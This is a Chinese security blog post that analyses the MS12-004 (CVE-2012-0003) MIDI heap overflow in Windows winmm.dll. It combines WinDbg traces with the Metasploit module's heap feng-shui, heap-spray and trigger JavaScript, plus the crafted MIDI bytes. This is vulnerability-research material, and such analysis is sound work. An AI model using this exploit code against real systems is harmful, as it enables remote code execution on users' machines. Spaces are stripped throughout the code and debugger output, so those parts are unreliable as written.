2016-12-09 15:59:57
来源:安全客 作者:quanyechavshuo
阅读:809次
点赞(0)
收藏
作者:quanyechavshuo
预估稿费:300RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
0x00 about
这个漏洞是由于微软的多媒体库winmm.dll(c:\windows\system32\winmm.dll)在处理MIDI文件时,由于对数据的处理不当导致的"堆溢出",攻击者可以在网页中嵌入特殊的MIDI文件来远程执行任意代码。0x01 准备工作
使用msf中的exp:msfconsole searchcve-2012-0003 useexploit/windows/browser/ms12_004_midi seturipathtest.html setpayloadwindows/exec setcmdcalc.exe serverstarted http://192.168.118.129:8080/test.html 奇怪的是在系统中不存在test.html,但是访问上面生成的网马链接确实会中马,后来查看msf中的exp:ms12_004_midi.rb,里面生成html的代码为:
send_response(cli,html,{'Content-Type'=>'text/html'})
send_response函数在msfapi中有如下用法:
msfapi_send_response
也即相当于msf内置webserver通过send_response函数发送html代码到客户端实现下面这个链接的访问: http://192.168.118.129:8080/test.html
这种方式比较特殊,可能msf的web是ruby的某个类似python下的Django的web框架开发的。
0x02 调试分析
打开iexplore.exe,win+r:cmd:
gflags-iiexplore.exe+hpa这里如果在windbg中设置!gflag +hpa不会成功,可能是winxp或是windbg的问题,windbg:f6附加iexplore.exe:
!gflag 0:016>!gflag CurrentNtGlobalFlagcontents:0x02000000 hpa-Placeheapallocationsatendsofpages gie打开:http://192.168.118.129:8080/test.html
(180.6f8):Accessviolation-codec0000005(firstchance) Firstchanceexceptionsarereportedbeforeanyexceptionhandling. Thisexceptionmaybeexpectedandhandled. eax=00000419ebx=00000073ecx=0073b29fedx=00000000esi=16a7f019edi=16a7cf60 eip=76b2d224esp=3685fe80ebp=3685fea0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00010246 WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d2248a06moval,byteptr[esi]ds:0023:16a7f019=??到这里只知道76b2d224处有内存访问异常,然而要想写出exp,还需要弄清参数传递过程,这个"堆溢出"cve的利用不是DWORD SHOOT,而是巧妙地构造html代码达到控制eip的目的,如果是利用堆溢出,一般会想到在上面访问异常时通过找到一个DWORD SHOOT的机会来覆盖异常处理相关的函数地址来控制eip,且要在可控数据复制到内存后找到堆分配调用。 win+r:cmd:
gflags-iiexplore.exe-hpa buWINMM!midiOutPlayNextPolyEvent gie打开:http://192.168.118.129:8080/test.html
Breakpoint0hit eax=00000000ebx=ffffffffecx=7ffdf000edx=00216790esi=00216780edi=002167d8 eip=76b2d038esp=0012e5b0ebp=0012e5dciopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 WINMM!midiOutPlayNextPolyEvent: 76b2d0388bffmovedi,edi此时中断下来,再看看没有+hpa情况下的:WINMM!midiOutPlayNextPolyEvent+0x1ec会不会访问异常:
buWINMM!midiOutPlayNextPolyEvent+0x1ec g Breakpoint0hit eax=00000251ebx=0000007fecx=007f2399edx=00000000esi=046de111edi=025cd4f0 eip=76b2d224esp=0393fe80ebp=0393fea0iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d2248a06moval,byteptr[esi]ds:0023:046de111=00 此时中断下来,看到这里的[esi]与上面异常访问时的[esi]不同,考虑到启用页堆是在堆块后增加专门用于检测溢出的栅栏页,以便在堆溢出触及栅栏页时立刻触发异常,而+hpa和-hpa的情况下[esi]不同,应该不是由于页堆造成的[esi]的不同,猜测是由于WINMM!midiOutPlayNextPolyEvent+0x1ec处要执行多遍,而刚开始执行到WINMM!midiOutPlayNextPolyEvent+0x1ec时,[esi]处是可以访问的,只是msf中设置好的exp数据在后面某一次程序执行到WINMM!midiOutPlayNextPolyEvent+0x1ec时,[esi]产生了变化,并在+hpa时,[esi]属于页堆增加的栅栏页的地址范围才导致+hpa时在某次执行到WINMM!midiOutPlayNextPolyEvent+0x1ec时造成访问异常,为了验证这个想法,进行如下操作: 关闭windbg,重新打开ie,cmd:gflags-iiexplore.exe+hpa
打开windbg,f6加载iexplore.exe:
buWINMM!midiOutPlayNextPolyEvent+0x1ec buWINMM!midiOutPlayNextPolyEvent gie打开:http://192.168.118.129:8080/test.html
Breakpoint1hit eax=00000000ebx=ffffffffecx=7ff9d000edx=16840f70esi=16840f60edi=16840fb8 eip=76b2d038esp=365bfbe0ebp=365bfc0ciopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 WINMM!midiOutPlayNextPolyEvent: 76b2d0388bffmovedi,edi g Breakpoint1hit eax=00000000ebx=ffffffffecx=7ff98000edx=16840f70esi=16840f60edi=16840fb8 eip=76b2d038esp=3690fea4ebp=3690fedciopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 WINMM!midiOutPlayNextPolyEvent: 76b2d0388bffmovedi,edi这里看到WINMM!midiOutPlayNextPolyEvent第一次运行时不会经过+0x1ec的位置,在+1ec之前就返回了,
g Breakpoint0hit eax=00000251ebx=0000007fecx=007f2399edx=00000000esi=16842e51edi=16840f60 eip=76b2d224esp=3690fe80ebp=3690fea0iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d2248a06moval,byteptr[esi]ds:0023:16842e51=00这里看到第二次运行WINMM!midiOutPlayNextPolyEvent时第一次运行到+0x1ec处不会产生访问异常,
g Breakpoint0hit eax=00000419ebx=00000073ecx=0073b29fedx=00000000esi=16843019edi=16840f60 eip=76b2d224esp=3690fe80ebp=3690fea0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d2248a06moval,byteptr[esi]ds:0023:16843019=?? 这里看到第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处访问异常([esi]不识别),g即可验证, g (51c.674):Accessviolation-codec0000005(firstchance) Firstchanceexceptionsarereportedbeforeanyexceptionhandling. Thisexceptionmaybeexpectedandhandled. eax=00000419ebx=00000073ecx=0073b29fedx=00000000esi=16843019edi=16840f60 eip=76b2d224esp=3690fe80ebp=3690fea0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00010246 WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d2248a06moval,byteptr[esi]ds:0023:16843019=??这里可以看到的确是会触发异常的,也即+hpa时是第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处会访问异常,-hpa情况会怎样呢?进行如下操作验证:
关闭windbg,重新打开ie:
gflags-iiexplore.exe-hpa打开windbg,f6加载iexplore.exe:
buWINMM!midiOutPlayNextPolyEvent+0x1ec buWINMM!midiOutPlayNextPolyEvent g ie打开:http://192.168.118.129:8080/test.htmlBreakpoint1hit eax=00000000ebx=ffffffffecx=7ffdf000edx=0256aa28esi=0256aa18edi=0256aa70 eip=76b2d038esp=0012e5b0ebp=0012e5dciopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 WINMM!midiOutPlayNextPolyEvent: 76b2d0388bffmovedi,edi g Breakpoint1hit eax=00000000ebx=ffffffffecx=7ff98000edx=0256aa28esi=0256aa18edi=0256aa70 eip=76b2d038esp=0392fea4ebp=0392fedciopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 WINMM!midiOutPlayNextPolyEvent: 76b2d0388bffmovedi,edi g Breakpoint0hit eax=00000251ebx=0000007fecx=007f2399edx=00000000esi=025cae59edi=0256aa18 eip=76b2d224esp=0392fe80ebp=0392fea0iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d2248a06moval,byteptr[esi]ds:0023:025cae59=00 g Breakpoint0hit eax=00000419ebx=00000073ecx=0073b29fedx=00000000esi=025cb021edi=0256aa18 eip=76b2d224esp=0392fe80ebp=0392fea0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d2248a06moval,byteptr[esi]ds:0023:025cb021=00
可以看到-hpa情况下在第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处是不会产生访问异常的,结合+hpa的功能(定位导致漏洞的代码或函数)可知在第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处的这句指令将导致产生"堆溢出"。
u. WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d2248a06moval,byteptr[esi] 76b2d2268ad0movdl,al 76b2d228740cjeWINMM!midiOutPlayNextPolyEvent+0x1fe(76b2d236) 76b2d22a80e2f0anddl,0F0h 76b2d22d80faf0cmpdl,0F0h 76b2d230742djeWINMM!midiOutPlayNextPolyEvent+0x227(76b2d25f) 76b2d2320410addal,10h 76b2d234eb0ajmpWINMM!midiOutPlayNextPolyEvent+0x208(76b2d240)看到的不多,扩大汇编指令范围:
ueip-30eip+30 WINMM!midiOutPlayNextPolyEvent+0x1bc: 76b2d1f4e2f0loopWINMM!midiOutPlayNextPolyEvent+0x1ae(76b2d1e6) 76b2d1f680fa90cmpdl,90h 76b2d1f98855ffmovbyteptr[ebp-1],dl 76b2d1fc7405jeWINMM!midiOutPlayNextPolyEvent+0x1cb(76b2d203) 76b2d1fe80fa80cmpdl,80h 76b2d201755cjneWINMM!midiOutPlayNextPolyEvent+0x227(76b2d25f) 76b2d2030fb6550bmovzxedx,byteptr[ebp+0Bh] 76b2d20783e00fandeax,0Fh 76b2d20ac1e007shleax,7 76b2d20d03c2addeax,edx 76b2d20f99cdq 76b2d2102bc2subeax,edx 76b2d212d1f8sareax,1 76b2d214807dff80cmpbyteptr[ebp-1],80h 76b2d218742ajeWINMM!midiOutPlayNextPolyEvent+0x20c(76b2d244) 76b2d21a84dbtestbl,bl 76b2d21c7426jeWINMM!midiOutPlayNextPolyEvent+0x20c(76b2d244) [***]76b2d21e03f0addesi,eax 76b2d220f6450b01testbyteptr[ebp+0Bh],1 [==============>eip]76b2d2248a06moval,byteptr[esi] 76b2d2268ad0movdl,al 76b2d228740cjeWINMM!midiOutPlayNextPolyEvent+0x1fe(76b2d236) 76b2d22a80e2f0anddl,0F0h 76b2d22d80faf0cmpdl,0F0h 76b2d230742djeWINMM!midiOutPlayNextPolyEvent+0x227(76b2d25f) 76b2d2320410addal,10h 76b2d234eb0ajmpWINMM!midiOutPlayNextPolyEvent+0x208(76b2d240) 76b2d23680e20fanddl,0Fh 76b2d23980fa0fcmpdl,0Fh 76b2d23c7421jeWINMM!midiOutPlayNextPolyEvent+0x227(76b2d25f) [***]76b2d23efec0incal [***]76b2d2408806movbyteptr[esi],al 76b2d242eb1bjmpWINMM!midiOutPlayNextPolyEvent+0x227(76b2d25f) 76b2d244f6450b01testbyteptr[ebp+0Bh],1 76b2d2488d1430leaedx,[eax+esi] 76b2d24b8a02moval,byteptr[edx] 76b2d24d7408jeWINMM!midiOutPlayNextPolyEvent+0x21f(76b2d257) 76b2d24fa8f0testal,0F0h 76b2d251740cjeWINMM!midiOutPlayNextPolyEvent+0x227(76b2d25f) 76b2d2532c10subal,10h 在当前eip处eax=0x419,而eip最近执行过的与eax相关的指令为76b2d21e处的add esi,eax,书中分析的是此处的esi来源于winmmAlloc(0x400)分配到的内存地址,而add esi,eax中的eax=0x419超过了分配的0x400导致访问到超出0x19大小处的内容 ,在eip下面的76b2d23e和76b2d240处可以看到,[esi]的值会加1,也即在超出0x19大小处的内存中的内容会加1,这就是这个漏洞的危害:导致内存某处的值+1,只要能够控制这个0x19处的内存的内容,就有机会利用这个漏洞。 上面之所以会有76b2d240处的导致[esi]加1的出现,是要在mid文件中的某个音轨事件处写上"打开音符"对应的值(书中是0x0073b29f),如下||之间的内容:00000000:4d546864000000060000000100604d54MThd.........`MT 00000010:726b0000003500ff030d4472756d7320rk...5....Drums 00000020:2020284242290000c92800b9076400b9(BB)...(...d.. 00000030:0a4000b97b0000b95b2800b95d008550.@..{...[(..]..P 00000040:99237f00|9fb27300|ff2f000a.#....s../.. 满足mid文件中对应位置处的值为"打开音符"后,会导致在当前eip环境下的[esi]加1,也即76b2d21e执行后的[esi]加1,也即winAlloc(0x400)分配到的内存地址+0x19处的内容加1,而利用方式中正好是利用相应内存中的值加1导致任意代码执行。书中通过ida的f5分析函数调用与参数传递分析得到上面的esi的源是winmmAlloc(0x400),也即在打开mid文件后会有一个这样的内存分配动作,于是构造出如下结构的内存空间使得winmmAlloc(0x400)分到的内存地址相对可控: |xxxxxxxx|oooooooo|xxxxxxxxx|ooooooooo|xxxxxxxxx|ooooooooo|... 也即在mid文件被ie解析之前,先用js构造上面这样的内存格式,其中xxx表示有数据,ooo表示空闲内存,每个||之间的内存大小正好为0x400,这样在上面内存结构的基础上再由ie解析mid文件而产生winmmAlloc(0x400)的动作就会分配到上面的ooo的某个位置上,然后由于mid文件是特殊的构造好的会使winmmAlloc(0x400)分到的内存地址+0x19处的内存的内容加1的文件,于是ie解析mid文件后,将导致winmmAlloc(0x400)分到的某个ooo位置的右边一个xxx的位置上的偏移0x19中的值加1,当上面构造的特殊内存格式时构造好该位置内容的值+1会使得代码执行时,就可以利用这个漏洞了,而书中(msf)的利用方式是用下面的js来达到目的的: [msf中的构造特殊内存结构的由ruby写的js] defbuild_element(element_name,my_target,type="corruption") dst=Rex::Text.to_unescape([my_target['DispatchDst']].pack("V")) element='' ifmy_target.name=~/IE8/ max=63#NumberofattributesforIE8 index=1#Wherewewanttoconfusethetype else max=55#NumberofattributesforbeforeIE8 index=0#Wherewewanttoconfusethetype end element<<"var#{element_name}=document.createElement(\"select\")"+"\n" #Buildattributes 0.upto(max)do|i| casetype when"corruption" obj=(i==index)?"unescape(\"#{dst}\")":"" else#leak obj="" end element<<"#{element_name}.w#{i.to_s}=#{obj}"+"\n" end returnelement end #FengShuiandtriggeringSteps: #1.Runthegarbagecollectorbeforeallocations #2.DefragmenttheheapandallocCImplAryobjectsinonestep(objectssizeareIEversiondependent) #3.Makeholes #4.Letwindowsmediaplaythecraftedmidifileandcorrupttheheap #5.ForcetheusingoftheconfusedtagVARIANT. defbuild_trigger(my_target,type="corruption") js_trigger=build_trigger_fn(my_target,type) select_element=build_element('selob',my_target,type) trigger=<<-JS varheap=newheapLib.ie(); #{select_element} varclones=newArray(1000); functionfeng_shui(){ heap.gc(); vari=0; while(i<1000){ clones[i]=selob.cloneNode(true) i=i+1; } varj=0; while(j<1000){ deleteclones[j]; CollectGarbage(); j=j+2; } } feng_shui(); #{js_trigger} JS trigger=heaplib(trigger,{:noobfu=>true}) returntrigger end
上面msf中的代码对应书中的如下代码:
varselob=document.createElement("select") selob.w0= selob.w1=unescape("%u0c0c%u0c0c") selob.w2= selob.w3= selob.w4= selob.w5= ... ... selob.w63= varclones=newArray(1000) functionfeng_shui(){ vari=0 while(i<1000){ clones[i]=selob.cloneNode(true) i=i+1 } varj=0 while(j<1000){ deleteclones[j] CollectGarbage() j=j+2 } } 上面为了达到某处内容值+1得到控制代码执行的目的使用的是:创建select元素selob,设置64个属性,其中w1为string类型,其余为object类型,然后创建一个数组用来存放1000个selob元素,然后间隔释放1000个selob元素中的500个元素,然后由于ie解析mid文件,运行了winmmAlloc(0x400),得到的分配地址位于某个释放的selob元素的位置,由于mid文件中某处已经构造好了音轨事件是"打开音符",于是会使得某个selob元素的+19位置的值+1,于是该selob元素的第二个属性w1由string变成object,然后由下面的js来触发这个变成object的属性相应函数的执行,触发js如下:
functiontrigger(){ vark=999 while(k>0){ if(typeof(clones[k].w1)=="string"){ }else{ clone[k].w1('comeon!') } k=k-2 } feng_shui() document.audio.Play() } 上面的js中的函数trigger由下面的js调用执行(执行trigger函数在ie解析mid文件之后[也即在上面的 document.audio.Play执行之后]): </script> <scriptfor=audioevent=PlayStateChange(oldState,newState)> if(oldState==3&&newState==0){ trigger(); } </script>在js构造的string变成object的属性时执行的函数的地址为0x0c0c0c0c是堆喷射的利用地址,对应msf中的构造堆喷射内存布局的代码如下:
defbuild_spray(my_target,leak=0) #Extractstringbasedontarget ifmy_target.name=='IE8onWindowsXPSP3' js_extract_str="varblock=shellcode.substring(2,(0x40000-0x21)/2);" else js_extract_str="varblock=shellcode.substring(0,(0x80000-6)/2);" end #BuildshellcodebasedonRoprequirement code='' ifmy_target['Rop']anddatastore['MSHTML'].to_s!='' print_status("GeneratingROPusinginfo-leak:0x#{leak.to_s(16)}") code<<create_info_leak_rop(my_target,leak) code<<payload.encoded elsifmy_target['Rop']anddatastore['MSHTML'].to_s=='' print_status("GeneratingROPusingmsvcrt") code<<create_rop(my_target,payload.encoded) else code<<payload.encoded end shellcode=Rex::Text.to_unescape(code) #1.Createbigblockofnops #2.Composeoneblockwhichisnops+shellcode #3.Repeattheblock #4.Extractstringfromthebigblock #5.Spray spray=<<-JS varheap_obj=newheapLib.ie(0x10000); varcode=unescape("#{shellcode}"); varnops=unescape("%u0c0c%u0c0c"); while(nops.length<0x1000)nops+=nops; varshellcode=nops.substring(0,0x800-code.length)+code; while(shellcode.length<0x40000)shellcode+=shellcode; #{js_extract_str} heap_obj.gc(); for(vari=0;i<600;i++){ heap_obj.alloc(block); } JS spray=heaplib(spray,{:noobfu=>true}) returnspray end0x03 小结
漏洞场景:
程序(iexplore.exe)解析特殊构造的文件(mid)时,在内存中可找到有内存分配动作(winmmAlloc),分配的内存大小一定(0x400),如果解析特殊文件(mid中音轨事件为打开音符)会使程序在分配到的内存地址范围之外(0x419>0x400)有改变大小动作(使0x419偏移处的值+1)。
利用方法:
可以通过与这里相同的js的构造特殊内存结构的方法来利用这个改变动作来控制eip。参考文献
林桠泉. 漏洞战争:软件漏洞分析精要[M]. 北京:电子工业出版社, 2016.本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3278.html